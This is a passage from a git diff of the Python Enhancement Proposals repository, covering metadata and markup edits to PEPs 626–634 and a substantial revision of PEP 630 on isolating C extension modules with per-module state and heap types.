``PyLineTable_`` functions do not call into the C-API, so can be safely copied into any tool that needs to use them. - The ``PyCodeAddressRange`` struct may acquire additional ``opaque`` fields in future versions, but the ``ar_`` fields will remain unchanged. +Although these functions are not part of C-API, they will provided by all future versions of CPython. +The ``PyLineTable_`` functions do not call into the C-API, so can be safely copied into any tool that needs to use them. +The ``PyCodeAddressRange`` struct will not be changed, but the ``_opaque`` struct is not part of the specification and may change. + +.. note:: + The ``PyCodeAddressRange`` struct has changed from the original version of this PEP, where the addition fields were defined, but + were liable to change. For example, the following code prints out all the address ranges: :: - void print_address_ranges(char *linetable, int firstlineno) + void print_address_ranges(char *linetable, Py_ssize_t length, int firstlineno) { PyCodeAddressRange range; - PyLineTable_InitAddressRange(linetable, firstlineno, &range); + PyLineTable_InitAddressRange(linetable, length, firstlineno, &range); while (PyLineTable_NextAddressRange(&range)) { printf("Bytecodes from %d (inclusive) to %d (exclusive) ", range.start, range.end); diff --git a/pep-0627.rst b/pep-0627.rst index 5a1a3e59528..da434054fd1 100644 --- a/pep-0627.rst +++ b/pep-0627.rst @@ -3,8 +3,9 @@ Title: Recording installed projects Author: Petr Viktorin BDFL-Delegate: Paul Moore Discussions-To: https://discuss.python.org/t/pep-627/4126 -Status: Accepted -Type: Informational +Status: Final +Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 15-Jul-2020 Resolution: https://discuss.python.org/t/pep-627/4126/42 @@ -20,7 +21,7 @@ Packaging Authority (PyPA) standards repository, and sets up guidelines for changing it. Two files in installed ``.dist-info`` directories are made optional: -``RECORD`` (which PEP 376 lists as mandatory, but suggests it can be left out +``RECORD`` (which :pep:`376` lists as mandatory, but suggests it can be left out for "system packages"), and ``INSTALLER``. @@ -30,11 +31,11 @@ Motivation Python packaging is moving from relying on specific tools (Setuptools and pip) toward an ecosystem of tools and tool-agnostic interoperability standards. -PEP 376 is not written as an interoperability standard. +:pep:`376` is not written as an interoperability standard. It describes implementation details of specific tools and libraries, and is underspecified, leaving much room for implementation-defined behavior. -This is a proposal to “distill” the standard from PEP 376, clarify it, +This is a proposal to “distill” the standard from :pep:`376`, clarify it, and rewrite it to be tool-agnostic. The aim of this PEP is to have a better standard, not necessarily a perfect one. @@ -44,7 +45,7 @@ Some issues are left to later clarification. Rationale Change ================ -PEP 376's rationale focuses on two problems: +:pep:`376`'s rationale focuses on two problems: * There are too many ways to install projects and this makes interoperation difficult. * There is no API to get information on installed distributions. @@ -86,7 +87,7 @@ to *Recording installed projects*. While putting files in known locations on disk may be thought of as a “database”, it's not what most people think about when they hear the term. -The PyPA links to PEP 376 under the heading *Recording installed distributions*. +The PyPA links to :pep:`376` under the heading *Recording installed distributions*. The PyPA glossary defines “Distribution” (or, “Distribution Package” to prevent confusion with e.g. Linux distributions) as “A versioned archive file […]”. @@ -134,9 +135,9 @@ The “base” of relative paths in ``RECORD`` is specified relative to the Both *hash* and *size* fields are now optional (for any file, not just ``.pyc``, ``.pyo`` and ``RECORD``). Leavng them out is discouraged, except for ``*.pyc`` and ``RECORD`` itself. -(Note that PEP 376 is unclear on what was optional; when taken literally, +(Note that :pep:`376` is unclear on what was optional; when taken literally, its text and examples contradict. Despite that, “both fields are optional“ is a -reasonable interpretation of PEP 376. +reasonable interpretation of :pep:`376`. The alternative would be to mandate—rather than recommend—which files can be recorded without hash and size, and to update that list over time as new use cases come up.) @@ -156,7 +157,7 @@ Tools must not uninstall/remove projects that lack a ``RECORD`` file managers of Linux distros). On Windows, files in ``RECORD`` may be separated by either ``/`` or ``\``. -PEP 376 was unclear on this: it mandates forward slashes in one place, but +:pep:`376` was unclear on this: it mandates forward slashes in one place, but shows backslackes in a Windows-specific example. diff --git a/pep-0628.txt b/pep-0628.txt index 06a8699d7f1..43088ac2bce 100644 --- a/pep-0628.txt +++ b/pep-0628.txt @@ -9,7 +9,6 @@ Content-Type: text/x-rst Created: 28-Jun-2011 Python-Version: 3.6 Post-History: 28-Jun-2011 -Resolution: http://bugs.python.org/issue12345 Abstract @@ -27,12 +26,13 @@ of assigning a name to the value ``2 * pi`` (``2π``). PEP Acceptance ============== -This PEP is now accepted and math.tau will be a part of Python 3.6. +This PEP is now `accepted`_ and ``math.tau`` will be a part of Python 3.6. Happy birthday Nick! The idea in this PEP has been implemented in the auspiciously named `issue 12345`_. +.. _accepted: https://bugs.python.org/issue12345#msg272287 .. _issue 12345: http://bugs.python.org/issue12345 diff --git a/pep-0629.rst b/pep-0629.rst index 537fdf33d28..2d0f99f5cc0 100644 --- a/pep-0629.rst +++ b/pep-0629.rst @@ -5,6 +5,7 @@ BDFL-Delegate: Brett Cannon Discussions-To: https://discuss.python.org/t/pep-629-versioning-pypis-simple-api/4720 Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 16-Jul-2020 Post-History: 16-Jul-2020 @@ -53,9 +54,9 @@ Overview This PEP proposes the inclusion of a meta tag on the responses of every successful request to a simple API page, which contains a name attribute -of "pypi:repository-version", and a content that is a PEP 440 compatible +of "pypi:repository-version", and a content that is a :pep:`440` compatible version number, which is further constrained to ONLY be Major.Minor, and -none of the additional features supported by PEP 440. +none of the additional features supported by :pep:`440`. This would end up looking like:: diff --git a/pep-0630.rst b/pep-0630.rst index 10416182fa8..267594775c2 100644 --- a/pep-0630.rst +++ b/pep-0630.rst @@ -9,47 +9,54 @@ Created: 25-Aug-2020 Post-History: 16-Jul-2020 -Isolating Extension Modules -=========================== +.. highlight:: c Abstract --------- +======== -Traditionally, state of Python extension modules was kept in C +Traditionally, state belonging to Python extension modules was kept in C ``static`` variables, which have process-wide scope. This document describes problems of such per-process state and efforts to make -per-module state, a better default, possible and easy to use. +per-module state—a better default—possible and easy to use. The document also describes how to switch to per-module state where -possible. The switch involves allocating space for that state, switching -from static types to heap types, and—perhaps most importantly—accessing -per-module state from code. +possible. This transition involves allocating space for that state, potentially +switching from static types to heap types, and—perhaps most +importantly—accessing per-module state from code. -About this document -------------------- -As an `informational PEP `__, -this document does not introduce any changes: those should be done in +About This Document +=================== + +As an :pep:`informational PEP <1#pep-types>`, +this document does not introduce any changes; those should be done in their own PEPs (or issues, if small enough). Rather, it covers the motivation behind an effort that spans multiple releases, and instructs early adopters on how to use the finished features. -Once support is reasonably complete, the text can be moved to Python's -documentation as a HOWTO. Meanwhile, in the spirit of documentation-driven -development, gaps identified in this text can show where to focus -the effort, and the text can be updated as new features are implemented +Once support is reasonably complete, this content can be moved to Python's +documentation as a `HOWTO `__. +Meanwhile, in the spirit of documentation-driven development, +gaps identified in this PEP can show where to focus the effort, +and it can be updated as new features are implemented. Whenever this PEP mentions *extension modules*, the advice also -applies to *built-in* modules, such as the C parts of the standard -library. The standard library is expected to switch to per-module state -early. +applies to *built-in* modules. + +.. note:: + This PEP contains generic advice. When following it, always take into + account the specifics of your project. + + For example, while much of this advice applies to the C parts of + Python's standard library, the PEP does not factor in stdlib specifics + (unusual backward compatibility issues, access to private API, etc.). PEPs related to this effort are: -- PEP 384 -- *Defining a Stable ABI*, which added C API for creating +- :pep:`384` -- *Defining a Stable ABI*, which added a C API for creating heap types -- PEP 489 -- *Multi-phase extension module initialization* -- PEP 573 -- *Module State Access from C Extension Methods* +- :pep:`489` -- *Multi-phase extension module initialization* +- :pep:`573` -- *Module State Access from C Extension Methods* This document is concerned with Python's public C API, which is not offered by all implementations of Python. However, nothing in this PEP is @@ -58,8 +65,9 @@ specific to CPython. As with any Informational PEP, this text does not necessarily represent a Python community consensus or recommendation. + Motivation ----------- +========== An *interpreter* is the context in which Python code runs. It contains configuration (e.g. the import path) and runtime state (e.g. the set of @@ -70,13 +78,13 @@ two cases to think about—users may run interpreters: - in sequence, with several ``Py_InitializeEx``/``Py_FinalizeEx`` cycles, and -- in parallel, managing “sub-interpreters” using +- in parallel, managing "sub-interpreters" using ``Py_NewInterpreter``/``Py_EndInterpreter``. Both cases (and combinations of them) would be most useful when embedding Python within a library. Libraries generally shouldn't make assumptions about the application that uses them, which includes -assumptions about a process-wide “main Python interpreter”. +assuming a process-wide "main Python interpreter". Currently, CPython doesn't handle this use case well. Many extension modules (and even some stdlib modules) use *per-process* global state, @@ -84,34 +92,36 @@ because C ``static`` variables are extremely easy to use. Thus, data that should be specific to an interpreter ends up being shared between interpreters. Unless the extension developer is careful, it is very easy to introduce edge cases that lead to crashes when a module is loaded in -more than one interpreter. +more than one interpreter in the same process. -Unfortunately, *per-interpreter* state is not easy to achieve: extension +Unfortunately, *per-interpreter* state is not easy to achieve—extension authors tend to not keep multiple interpreters in mind when developing, and it is currently cumbersome to test the behavior. + Rationale for Per-module State ------------------------------- +============================== Instead of focusing on per-interpreter state, Python's C API is evolving to better support the more granular *per-module* state. By default, C-level data will be attached to a *module object*. Each interpreter -will then create its own module object, keeping data separate. For +will then create its own module object, keeping the data separate. For testing the isolation, multiple module objects corresponding to a single extension can even be loaded in a single interpreter. Per-module state provides an easy way to think about lifetime and -resource ownership: the extension module author will set up when a +resource ownership: the extension module will initialize when a module object is created, and clean up when it's freed. In this regard, -a module is just like any other ``PyObject *``; there are no “on -interpreter shutdown” hooks to think about—or forget about. +a module is just like any other ``PyObject *``; there are no "on +interpreter shutdown" hooks to think—or forget—about. -Goal: Easy-to-use Module State -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Goal: Easy-to-Use Module State +------------------------------ It is currently cumbersome or impossible to do everything the C API -offers while keeping modules isolated. Enabled by PEP 384, changes in -PEPs 489 and 573 (and future planned ones) aim to first make it +offers while keeping modules isolated. Enabled by :pep:`384`, changes in +:pep:`489` and :pep:`573` (and future planned ones) aim to first make it *possible* to build modules this way, and then to make it *easy* to write new modules this way and to convert old ones, so that it can become a natural default. @@ -122,20 +132,22 @@ per-thread or per-task state. The goal is to treat these as exceptional cases: they should be possible, but extension authors will need to think more carefully about them. + Non-goals: Speedups and the GIL -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +------------------------------- There is some effort to speed up CPython on multi-core CPUs by making the GIL per-interpreter. While isolating interpreters helps that effort, defaulting to per-module state will be beneficial even if no speedup is achieved, as it makes supporting multiple interpreters safer by default. -How to make modules safe with multiple interpreters ---------------------------------------------------- + +Making Modules Safe with Multiple Interpreters +============================================== There are many ways to correctly support multiple interpreters in extension modules. The rest of this text describes the preferred way to -write such a module, or to convert an existing module. +write such a module, or to convert an existing one. Note that support is a work in progress; the API for some features your module needs might not yet be ready. @@ -143,15 +155,17 @@ module needs might not yet be ready. A full example module is available as `xxlimited `__. -This section assumes that “*you*” are an extension module author. +This section assumes that "*you*" are an extension module author. Isolated Module Objects -~~~~~~~~~~~~~~~~~~~~~~~ +----------------------- The key point to keep in mind when developing an extension module is that several module objects can be created from a single shared library. -For example:: +For example: + +.. code-block:: pycon >>> import sys >>> import binascii @@ -165,7 +179,7 @@ As a rule of thumb, the two modules should be completely independent. All objects and state specific to the module should be encapsulated within the module object, not shared with other module objects, and cleaned up when the module object is deallocated. Exceptions are -possible (see “Managing global state” below), but they will need more +possible (see `Managing Global State`_), but they will need more thought and attention to edge cases than code that follows this rule of thumb. @@ -173,14 +187,18 @@ While some modules could do with less stringent restrictions, isolated modules make it easier to set clear expectations (and guidelines) that work across a variety of use cases. + Surprising Edge Cases -~~~~~~~~~~~~~~~~~~~~~ +--------------------- Note that isolated modules do create some surprising edge cases. Most notably, each module object will typically not share its classes and -exceptions with other similar modules. Continuing from the example -above, note that ``old_binascii.Error`` and ``binascii.Error`` are -separate objects. In the following code, the exception is *not* caught:: +exceptions with other similar modules. Continuing from the +`example above `__, +note that ``old_binascii.Error`` and ``binascii.Error`` are +separate objects. In the following code, the exception is *not* caught: + +.. code-block:: pycon >>> old_binascii.Error == binascii.Error False @@ -188,7 +206,7 @@ separate objects. In the following code, the exception is *not* caught:: ... old_binascii.unhexlify(b'qwertyuiop') ... except binascii.Error: ... print('boo') - ... + ... Traceback (most recent call last): File "", line 2, in binascii.Error: Non-hexadecimal digit found @@ -197,14 +215,15 @@ This is expected. Notice that pure-Python modules behave the same way: it is a part of how Python works. The goal is to make extension modules safe at the C level, not to make -hacks behave intuitively. Mutating ``sys.modules`` “manually” counts +hacks behave intuitively. Mutating ``sys.modules`` "manually" counts as a hack. + Managing Global State -~~~~~~~~~~~~~~~~~~~~~ +--------------------- Sometimes, state of a Python module is not specific to that module, but -to the entire process (or something else “more global” than a module). +to the entire process (or something else "more global" than a module). For example: - The ``readline`` module manages *the* terminal. @@ -220,23 +239,25 @@ If that is not possible, consider explicit locking. If it is necessary to use process-global state, the simplest way to avoid issues with multiple interpreters is to explicitly prevent a -module from being loaded more than once per process—see “Opt-Out: -Limiting to One Module Object per Process” below. +module from being loaded more than once per process—see +`Opt-Out: Limiting to One Module Object per Process`_. + Managing Per-Module State -~~~~~~~~~~~~~~~~~~~~~~~~~ +------------------------- -To use per-module state, use `multi-phase extension module -initialization `__ -introduced in PEP 489. This signals that your module supports multiple +To use per-module state, use `multi-phase extension module initialization +`__ +introduced in :pep:`489`. This signals that your module supports multiple interpreters correctly. Set ``PyModuleDef.m_size`` to a positive number to request that many bytes of storage local to the module. Usually, this will be set to the size of some module-specific ``struct``, which can store all of the module's C-level state. In particular, it is where you should put -pointers to classes (including exceptions) and settings (e.g. ``csv``'s -`field_size_limit `__) +pointers to classes (including exceptions, but excluding static types) +and settings (e.g. ``csv``'s `field_size_limit +`__) which the C code needs to function. .. note:: @@ -246,9 +267,9 @@ which the C code needs to function. which is easy to get wrong and hard to test sufficiently. If the module state includes ``PyObject`` pointers, the module object -must hold references to those objects and implement module-level hooks -``m_traverse``, ``m_clear``, ``m_free``. These work like -``tp_traverse``, ``tp_clear``, ``tp_free`` of a class. Adding them will +must hold references to those objects and implement the module-level hooks +``m_traverse``, ``m_clear`` and ``m_free``. These work like +``tp_traverse``, ``tp_clear`` and ``tp_free`` of a class. Adding them will require some work and make the code longer; this is the price for modules which can be unloaded cleanly. @@ -258,7 +279,7 @@ example module initialization shown at the bottom of the file. Opt-Out: Limiting to One Module Object per Process -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +-------------------------------------------------- A non-negative ``PyModuleDef.m_size`` signals that a module supports multiple interpreters correctly. If this is not yet the case for your @@ -279,12 +300,13 @@ process. For example:: // ... rest of initialization } + Module State Access from Functions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +---------------------------------- Accessing the state from module-level functions is straightforward. Functions get the module object as their first argument; for extracting -the state there is ``PyModule_GetState``:: +the state, you can use ``PyModule_GetState``:: static PyObject * func(PyObject *module, PyObject *args) @@ -296,15 +318,17 @@ the state there is ``PyModule_GetState``:: // ... rest of logic } -(Note that ``PyModule_GetState`` may return NULL without setting an -exception if there is no module state, i.e. ``PyModuleDef.m_size`` was -zero. In your own module, you're in control of ``m_size``, so this is -easy to prevent.) +.. note:: + ``PyModule_GetState`` may return NULL without setting an + exception if there is no module state, i.e. ``PyModuleDef.m_size`` was + zero. In your own module, you're in control of ``m_size``, so this is + easy to prevent. + -Heap types -~~~~~~~~~~ +Heap Types +========== -Traditionally, types defined in C code were *static*, that is, +Traditionally, types defined in C code are *static*; that is, ``static PyTypeObject`` structures defined directly in code and initialized using ``PyType_Ready()``. @@ -315,18 +339,35 @@ the Python level: for example, you can't set ``str.myattribute = 123``. .. note:: Sharing truly immutable objects between interpreters is fine, - as long as they don't provide access to mutable objects. But, every - Python object has a mutable implementation detail: the reference - count. Changes to the refcount are guarded by the GIL. Thus, code - that shares any Python objects across interpreters implicitly depends - on CPython's current, process-wide GIL. - -An alternative to static types is *heap-allocated types*, or heap types -for short. These correspond more closely to classes created by Python’s + as long as they don't provide access to mutable objects. + However, in CPython, every Python object has a mutable implementation + detail: the reference count. Changes to the refcount are guarded by the GIL. + Thus, code that shares any Python objects across interpreters implicitly + depends on CPython's current, process-wide GIL. + +Because they are immutable and process-global, static types cannot access +"their" module state. +If any method of such a type requires access to module state, +the type must be converted to a *heap-allocated type*, or *heap type* +for short. These correspond more closely to classes created by Python's ``class`` statement. +For new modules, using heap types by default is a good rule of thumb. + +Static types can be converted to heap types, but note that +the heap type API was not designed for "lossless" conversion +from static types -- that is, creating a type that works exactly like a given +static type. Unlike static types, heap type objects are mutable by default. +Also, when rewriting the class definition in a new API, +you are likely to unintentionally change a few details (e.g. pickle-ability +or inherited slots). Always test the details that are important to you. + + +Defining Heap Types +------------------- + Heap types can be created by filling a ``PyType_Spec`` structure, a -description or “blueprint” of a class, and calling +description or "blueprint" of a class, and calling ``PyType_FromModuleAndSpec()`` to construct a new class object. .. note:: @@ -338,31 +379,76 @@ The class should generally be stored in *both* the module state (for safe access from C) and the module's ``__dict__`` (for access from Python code). + +Garbage Collection Protocol +--------------------------- + +Instances of heap types hold a reference to their type. +This ensures that the type isn't destroyed before all its instances are, +but may result in reference cycles that need to be broken by the +garbage collector. + +To avoid memory leaks, instances of heap types must implement the +garbage collection protocol. +That is, heap types should: + +- Have the ``Py_TPFLAGS_HAVE_GC`` flag. +- Define a traverse function using ``Py_tp_traverse``, which + visits the type (e.g. using ``Py_VISIT(Py_TYPE(self));``). + +Please refer to the `documentation +`__ of `Py_TPFLAGS_HAVE_GC +`__ and +`tp_traverse +` +for additional considerations. + +If your traverse function delegates to the ``tp_traverse`` of its base class +(or another type), ensure that ``Py_TYPE(self)`` is visited only once. +Note that only heap type are expected to visit the type in ``tp_traverse``. + +For example, if your traverse function includes:: + + base->tp_traverse(self, visit, arg) + +...and ``base`` may be a static type, then it should also include:: + + if (base->tp_flags & Py_TPFLAGS_HEAPTYPE) { + // a heap type's tp_traverse already visited Py_TYPE(self) + } else { + Py_VISIT(Py_TYPE(self)); + } + +It is not necessary to handle the type's reference count in ``tp_new`` +and ``tp_clear``. + + Module State Access from Classes -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +-------------------------------- If you have a type object defined with ``PyType_FromModuleAndSpec()``, -you can call ``PyType_GetModule`` to get the associated module, then +you can call ``PyType_GetModule`` to get the associated module, and then ``PyModule_GetState`` to get the module's state. To save a some tedious error-handling boilerplate code, you can combine these two steps with ``PyType_GetModuleState``, resulting in:: - my_struct *state = (my_struct*)PyType_GetModuleState(type); - if (state === NULL) { - return NULL; - } + my_struct *state = (my_struct*)PyType_GetModuleState(type); + if (state === NULL) { + return NULL; + } + Module State Access from Regular Methods -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +---------------------------------------- -Accessing the module-level state from methods of a class is somewhat -more complicated, but possible thanks to changes introduced in PEP 573. +Accessing the module-level state from methods of a class is somewhat more +complicated, but is possible thanks to the changes introduced in :pep:`573`. To get the state, you need to first get the *defining class*, and then get the module state from it. The largest roadblock is getting *the class a method was defined in*, or -that method's “defining class” for short. The defining class can have a +that method's "defining class" for short. The defining class can have a reference to the module it is part of. Do not confuse the defining class with ``Py_TYPE(self)``. If the method @@ -370,9 +456,11 @@ is called on a *subclass* of your type, ``Py_TYPE(self)`` will refer to that subclass, which may be defined in different module than yours. .. note:: - The following Python code. can illustrate the concept. + The following Python code can illustrate the concept. ``Base.get_defining_class`` returns ``Base`` even - if ``type(self) == Sub``:: + if ``type(self) == Sub``: + + .. code-block:: python class Base: def get_defining_class(self): @@ -381,12 +469,11 @@ that subclass, which may be defined in different module than yours. class Sub(Base): pass - -For a method to get its “defining class”, it must use the -``METH_METHOD | METH_FASTCALL | METH_KEYWORDS`` `calling -convention `__ -and the corresponding `PyCMethod -signature `__:: +For a method to get its "defining class", it must use the +``METH_METHOD | METH_FASTCALL | METH_KEYWORDS`` `calling convention +`__ +and the corresponding `PyCMethod signature +`__:: PyObject *PyCMethod( PyObject *self, // object the method was called on @@ -424,41 +511,99 @@ For example:: {NULL}, } + +Module State Access from Slot Methods, Getters and Setters +---------------------------------------------------------- + +.. note:: + + This is new in Python 3.11. + + .. After adding to limited API: + + If you use the `limited API __, + you must update ``Py_LIMITED_API`` to ``0x030b0000``, losing ABI + compatibility with earlier versions. + +Slot methods -- the fast C equivalents for special methods, such as `nb_add +`__ +for ``__add__`` or `tp_new +`__ +for initialization -- have a very simple API that doesn't allow +passing in the defining class, unlike with ``PyCMethod``. +The same goes for getters and setters defined with +`PyGetSetDef `__. + +To access the module state in these cases, use the `PyType_GetModuleByDef +`__ +function, and pass in the module definition. +Once you have the module, call `PyModule_GetState +`__ +to get the state:: + + PyObject *module = PyType_GetModuleByDef(Py_TYPE(self), &module_def); + my_struct *state = (my_struct*)PyModule_GetState(module); + if (state === NULL) { + return NULL; + } + +``PyType_GetModuleByDef`` works by searching the `MRO +`__ +(i.e. all superclasses) for the first superclass that has a corresponding +module. + +.. note:: + + In very exotic cases (inheritance chains spanning multiple modules + created from the same definition), ``PyType_GetModuleByDef`` might not + return the module of the true defining class. However, it will always + return a module with the same definition, ensuring a compatible + C memory layout. + + +Lifetime of the Module State +---------------------------- + +When a module object is garbage-collected, its module state is freed. +For each pointer to (a part of) the module state, you must hold a reference +to the module object. + +Usually this is not an issue, because types created with +``PyType_FromModuleAndSpec``, and their instances, hold a reference +to the module. +However, you must be careful in reference counting when you reference +module state from other places, such as callbacks for external +libraries. + + Open Issues ------------ +=========== Several issues around per-module state and heap types are still open. Discussions about improving the situation are best held on the `capi-sig mailing list `__. -Module State Access from Slot Methods, Getters and Setters -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Currently (as of Python 3.9), there is no API to access the module state -from: - -- slot methods (meaning type slots, such as ``tp_new``, ``nb_add`` or - ``tp_iternext``) -- getters and setters defined with ``tp_getset`` Type Checking -~~~~~~~~~~~~~ +------------- -Currently (as of Python 3.9), heap types have no good API to write +Currently (as of Python 3.10), heap types have no good API to write ``Py*_Check`` functions (like ``PyUnicode_Check`` exists for ``str``, a -static type), and so it is not easy to ensure whether instances have a +static type), and so it is not easy to ensure that instances have a particular C layout. + Metaclasses -~~~~~~~~~~~ +----------- -Currently (as of Python 3.9), there is no good API to specify the -*metaclass* of a heap type, that is, the ``ob_type`` field of the type +Currently (as of Python 3.10), there is no good API to specify the +*metaclass* of a heap type; that is, the ``ob_type`` field of the type object. -Per-Class scope -~~~~~~~~~~~~~~~ + +Per-Class Scope +--------------- It is also not possible to attach state to *types*. While ``PyHeapTypeObject`` is a variable-size object (``PyVarObject``), @@ -466,17 +611,18 @@ its variable-size storage is currently consumed by slots. Fixing this is complicated by the fact that several classes in an inheritance hierarchy may need to reserve some state. + +Lossless Conversion to Heap Types +--------------------------------- + +The heap type API was not designed for "lossless" conversion from static types; +that is, creating a type that works exactly like a given static type. +The best way to address it would probably be to write a guide that covers +known "gotchas". + + Copyright ---------- +========= This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: diff --git a/pep-0631.rst b/pep-0631.rst index 4820d6e9493..0324f7a4460 100644 --- a/pep-0631.rst +++ b/pep-0631.rst @@ -3,11 +3,13 @@ Title: Dependency specification in pyproject.toml based on PEP 508 Author: Ofek Lev Sponsor: Paul Ganssle Discussions-To: https://discuss.python.org/t/5018 -Status: Accepted +Status: Superseded Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 20-Aug-2020 Post-History: 20-Aug-2020 +Superseded-By: 621 Resolution: https://discuss.python.org/t/how-to-specify-dependencies-pep-508-strings-or-a-table-in-toml/5243/38 Abstract @@ -15,16 +17,15 @@ Abstract This PEP specifies how to write a project's dependencies in a ``pyproject.toml`` file for packaging-related tools to consume -using the `fields defined in PEP 621`_. +using the :pep:`fields defined in PEP 621 <621#dependencies-optional-dependencies>`. .. note:: - This PEP has been accepted and is expected to be merged into - :pep:`621`. + This PEP has been accepted and was merged into :pep:`621`. Entries ======= -All dependency entries MUST be valid `PEP 508 strings`_. +All dependency entries MUST be valid :pep:`PEP 508 strings <508>`. Build backends SHOULD abort at load time for any parsing errors. @@ -222,8 +223,6 @@ This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. -.. _fields defined in PEP 621: https://www.python.org/dev/peps/pep-0621/#dependencies-optional-dependencies -.. _PEP 508 strings: https://www.python.org/dev/peps/pep-0508/ .. _Requires-Dist: https://packaging.python.org/specifications/core-metadata/#requires-dist-multiple-use .. _Provides-Extra: https://packaging.python.org/specifications/core-metadata/#provides-extra-multiple-use .. _docker-compose: https://github.com/docker/compose/blob/789bfb0e8b2e61f15f423d371508b698c64b057f/setup.py#L28-L61 diff --git a/pep-0632.rst b/pep-0632.rst index caab4199f99..efd40ec6eed 100644 --- a/pep-0632.rst +++ b/pep-0632.rst @@ -58,7 +58,7 @@ Deprecation and removal will make it obvious that issues should be fixed in the setuptools project, and will reduce a source of bug reports and unnecessary test maintenance. It will also help promote the development of alternative build backends, which can now be -supported more easily thanks to PEP 517. [4]_ +supported more easily thanks to :pep:`517`. Specification @@ -119,7 +119,7 @@ Code that imports distutils will no longer work from Python 3.12. The suggested migration path is to use the equivalent (though not identical) imports from setuptools (see [5]_), or to migrate to an -alternative build backend (see PEP 517 [4]_). +alternative build backend (see :pep:`517`). Code already exists in setuptools to transparently switch ``setup.py`` files using distutils onto their equivalents, and so most working @@ -172,15 +172,15 @@ For these modules or types, ``setuptools`` is the best substitute: For these modules or types, use the standards-defined Python Packaging Authority packages specified: -* ``distutils.version`` - use ``packaging`` +* ``distutils.version`` — use the ``packaging`` package For these modules or functions, use the standard library module shown: -* ``distutils.fancy_getopt`` - use ``argparse`` -* ``distutils.spawn.find_executable`` - use ``shutil.which`` -* ``distutils.spawn.spawn`` - use ``subprocess.run`` -* ``distutils.sysconfig`` - use ``sysconfig`` -* ``distutils.util.get_platform`` - use ``platform`` +* ``distutils.fancy_getopt`` — use the ``argparse`` module +* ``distutils.spawn.find_executable`` — use the ``shutil.which`` function +* ``distutils.spawn.spawn`` — use the ``subprocess.run`` function +* ``distutils.sysconfig`` — use the ``sysconfig`` module +* ``distutils.util.get_platform`` — use the ``platform`` module For these functions, and any others not mentioned here, you will need to reimplement the functionality yourself. The legacy documentation @@ -247,11 +247,8 @@ References .. [3] setuptools Issue #417 - Adopt distutils (https://github.com/pypa/setuptools/issues/417) -.. [4] PEP 517 - A build-system independent format for source trees - (https://www.python.org/dev/peps/pep-0517/) - .. [5] Porting from Distutils - (https://setuptools.readthedocs.io/en/latest/distutils-legacy.html) + (https://setuptools.readthedocs.io/en/latest/deprecated/distutils-legacy.html) .. [6] Packaging (numpy.distutils) (https://numpy.org/doc/stable/reference/distutils.html) diff --git a/pep-0633.rst b/pep-0633.rst index 581f282952f..becf2af9932 100644 --- a/pep-0633.rst +++ b/pep-0633.rst @@ -6,9 +6,10 @@ Sponsor: Brett Cannon Discussions-To: https://discuss.python.org/t/dependency-specification-in-pyproject-toml-using-an-exploded-toml-table/5123/ Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 02-Sep-2020 -Post-History: 2020-09-02 +Post-History: 02-Sep-2020 Resolution: https://discuss.python.org/t/how-to-specify-dependencies-pep-508-strings-or-a-table-in-toml/5243/38 @@ -86,8 +87,8 @@ To reduce confusion with this document being a specification for specifying dependencies, the word "requirement" is used to mean a :pep:`508` dependency specification. -The following tables are added to the added to the ``project`` table specified -in :pep:`621`. +The following tables are added to the ``project`` table specified in +:pep:`621`. .. _TOML: https://toml.io/ @@ -136,7 +137,7 @@ The keys of the requirement table are as follows (all are optional): of the amendment. - ``revision`` (string): the identifier for a specific revision of the - specified VCS repository to check-out before installtion. Users MUST only + specified VCS repository to check-out before installation. Users MUST only provide this when one of ``git``, ``hg``, ``bzr``, ``svn``, or another VCS key is used to identify the distribution to install. Revision identifiers are suggested in :pep:`610`. diff --git a/pep-0634.rst b/pep-0634.rst index f11564d2b71..116ce0c82d8 100644 --- a/pep-0634.rst +++ b/pep-0634.rst @@ -5,7 +5,7 @@ Last-Modified: $Date$ Author: Brandt Bucher , Guido van Rossum BDFL-Delegate: -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -20,15 +20,15 @@ Abstract ======== This PEP provides the technical specification for the match -statement. It replaces PEP 622, which is hereby split in three parts: +statement. It replaces :pep:`622`, which is hereby split in three parts: -- PEP 634: Specification -- PEP 635: Motivation and Rationale -- PEP 636: Tutorial +- :pep:`634`: Specification +- :pep:`635`: Motivation and Rationale +- :pep:`636`: Tutorial This PEP is intentionally devoid of commentary; the motivation and all -explanations of our design choices are in PEP 635. First-time readers -are encouraged to start with PEP 636, which provides a gentler +explanations of our design choices are in :pep:`635`. First-time readers +are encouraged to start with :pep:`636`, which provides a gentler introduction to the concepts, syntax and semantics of patterns. @@ -275,7 +275,7 @@ The single underscore (``_``) is not a capture pattern (this is what A capture pattern always succeeds. It binds the subject value to the name using the scoping rules for name binding established for the -walrus operator in PEP 572. (Summary: the name becomes a local +walrus operator in :pep:`572`. (Summary: the name becomes a local variable in the closest containing function scope unless there's an applicable ``nonlocal`` or ``global`` statement.) @@ -359,9 +359,30 @@ subpattern may occur in any position. If no star subpattern is present, the sequence pattern is a fixed-length sequence pattern; otherwise it is a variable-length sequence pattern. -A sequence pattern fails if the subject value is not an instance of -``collections.abc.Sequence``. It also fails if the subject value is -an instance of ``str``, ``bytes`` or ``bytearray``. +For a sequence pattern to succeed the subject must be a sequence, +where being a sequence is defined as its class being one of the following: + +- a class that inherits from ``collections.abc.Sequence`` +- a Python class that has been registered as a ``collections.abc.Sequence`` +- a builtin class that has its ``Py_TPFLAGS_SEQUENCE`` bit set +- a class that inherits from any of the above (including classes defined *before* a + parent's ``Sequence`` registration) + +The following standard library classes will have their 